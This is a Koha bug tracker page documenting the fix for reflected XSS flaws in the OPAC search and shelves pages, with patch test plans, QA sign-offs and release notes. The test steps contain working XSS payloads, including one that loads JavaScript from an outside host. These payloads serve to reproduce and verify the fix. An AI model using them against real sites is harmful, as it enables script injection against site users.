| Summary: | XSS Flaws in OPAC Interface | ||
|---|---|---|---|
| Product: | Koha | Reporter: | Raschin Tavakoli <RGhanad-Tavakoli> |
| Component: | OPAC | Assignee: | Owen Leonard <oleonard> |
| Status: | CLOSED FIXED | QA Contact: | Testopia <testopia> |
| Severity: | major | ||
| Priority: | P5 - low | CC: | dsimos, fridolin.somers, jonathan.druart, liz, mtj, tomascohen |
| Version: | Main | ||
| Hardware: | All | ||
| OS: | All | ||
| Change sponsored?: | --- | Patch complexity: | Small patch |
| Documentation contact: | Documentation submission: | ||
| Text to go in the release notes: | Version(s) released in: | ||
| Circulation function: | |||
| Bug Depends on: | |||
| Bug Blocks: | 13618, 14524 | ||
| Attachments: |
Screenshots
Bug 14418 XSS Vulnerabilities Bug 14418 : XSS flaw in opac-shelves.pl Bug 14418 : More XSS vulnerabilities in opac-shelves.pl Bug 14418 XSS Vulnerabilities Bug 14418 : XSS flaw in opac-shelves.pl Bug 14418 : More XSS vulnerabilities in opac-shelves.pl [PASSED QA] Bug 14418 XSS Vulnerabilities [PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl [PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl |
||
|
Description
Raschin Tavakoli
2015-06-18 20:49:58 UTC
Created attachment 40338 [details] [review] Bug 14418 XSS Vulnerabilities Fix for /cgi-bin/koha/opac-search.pl To test 1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script src='http://cst.sba-research.org/x.js'/>&q=a 2/ Notice the js is executed 3/ Apply patch 4/ Reload page, notice it is no longer executed 5/ Test the rss links work still I suspect the problem is the query_cgi variable not being escaped in other templates as well. I'll come back to this bug, if no one else has fixed the others, but I am going to look at 14416 first. Created attachment 40342 [details] [review] Bug 14418 : XSS flaw in opac-shelves.pl To test: 1/ Create a list and add at least one item to it 2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E Where the shelf id is the number of the list you created, notice the js is executed 3/ Apply the patch 4/ Reload the page notice the js is now escaped Created attachment 40343 [details] [review] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl To test: 1/ Hit a url like /cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh noes')</script> Where the id is a valid shelf id 2/ Notice the js is executed 3/ Apply patch 4/ Reload page 5/ Notice input is now escaped on display Created attachment 40350 [details] [review] Bug 14418 XSS Vulnerabilities Fix for /cgi-bin/koha/opac-search.pl To test 1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script src='http://cst.sba-research.org/x.js'/>&q=a 2/ Notice the js is executed 3/ Apply patch 4/ Reload page, notice it is no longer executed 5/ Test the rss links work still Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Created attachment 40351 [details] [review] Bug 14418 : XSS flaw in opac-shelves.pl To test: 1/ Create a list and add at least one item to it 2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E Where the shelf id is the number of the list you created, notice the js is executed 3/ Apply the patch 4/ Reload the page notice the js is now escaped Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Created attachment 40352 [details] [review] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl To test: 1/ Hit a url like /cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh noes')</script> Where the id is a valid shelf id 2/ Notice the js is executed 3/ Apply patch 4/ Reload page 5/ Notice input is now escaped on display Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Comment on attachment 40351 [details] [review] Bug 14418 : XSS flaw in opac-shelves.pl Review of attachment 40351 [details] [review]: ----------------------------------------------------------------- ::: koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-shelves.tt @@ +168,4 @@ > <span class="sendlist"><a href="/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]" class="send" onclick="open('/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]','win_form','scrollbars=no,resizable=no,height=300,width=450,top=50,left=100'); return false; ">Send list</a></span> > [% END %] > > + <a class="print-small" target="_blank" href="/cgi-bin/koha/opac-shelves.pl?viewshelf=[% shelfnumber %]&sort=[% sort %]&direction=[% direction |uri %]&print=1">Print list</a> I don't manage to simulate an attack with "sort", but it could certainly be a good idea to escape it also. Created attachment 40366 [details] [review] [PASSED QA] Bug 14418 XSS Vulnerabilities Fix for /cgi-bin/koha/opac-search.pl To test 1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script src='http://cst.sba-research.org/x.js'/>&q=a 2/ Notice the js is executed 3/ Apply patch 4/ Reload page, notice it is no longer executed 5/ Test the rss links work still Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de> Confirmed bug and that the patch fixes it. Created attachment 40367 [details] [review] [PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl To test: 1/ Create a list and add at least one item to it 2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E Where the shelf id is the number of the list you created, notice the js is executed 3/ Apply the patch 4/ Reload the page notice the js is now escaped Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de> Created attachment 40368 [details] [review] [PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl To test: 1/ Hit a url like /cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh noes')</script> Where the id is a valid shelf id 2/ Notice the js is executed 3/ Apply patch 4/ Reload page 5/ Notice input is now escaped on display Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de> Tested in Debian, couldn't reproduce the alert in Iceweasel, but in Chromium. Patch fixes it. Patches pushed to master. Thanks Chris! Pushed to 3.20.x will be in 3.20.1 Pushed to 3.18.x will be in 3.18.08 Pushed to 3.14.x, will be in 3.14.16 Commit "Bug 14418 : XSS flaw in opac-shelves.pl" is useless in 3.14.x This patch breaks the RSS link, see bug 14524. |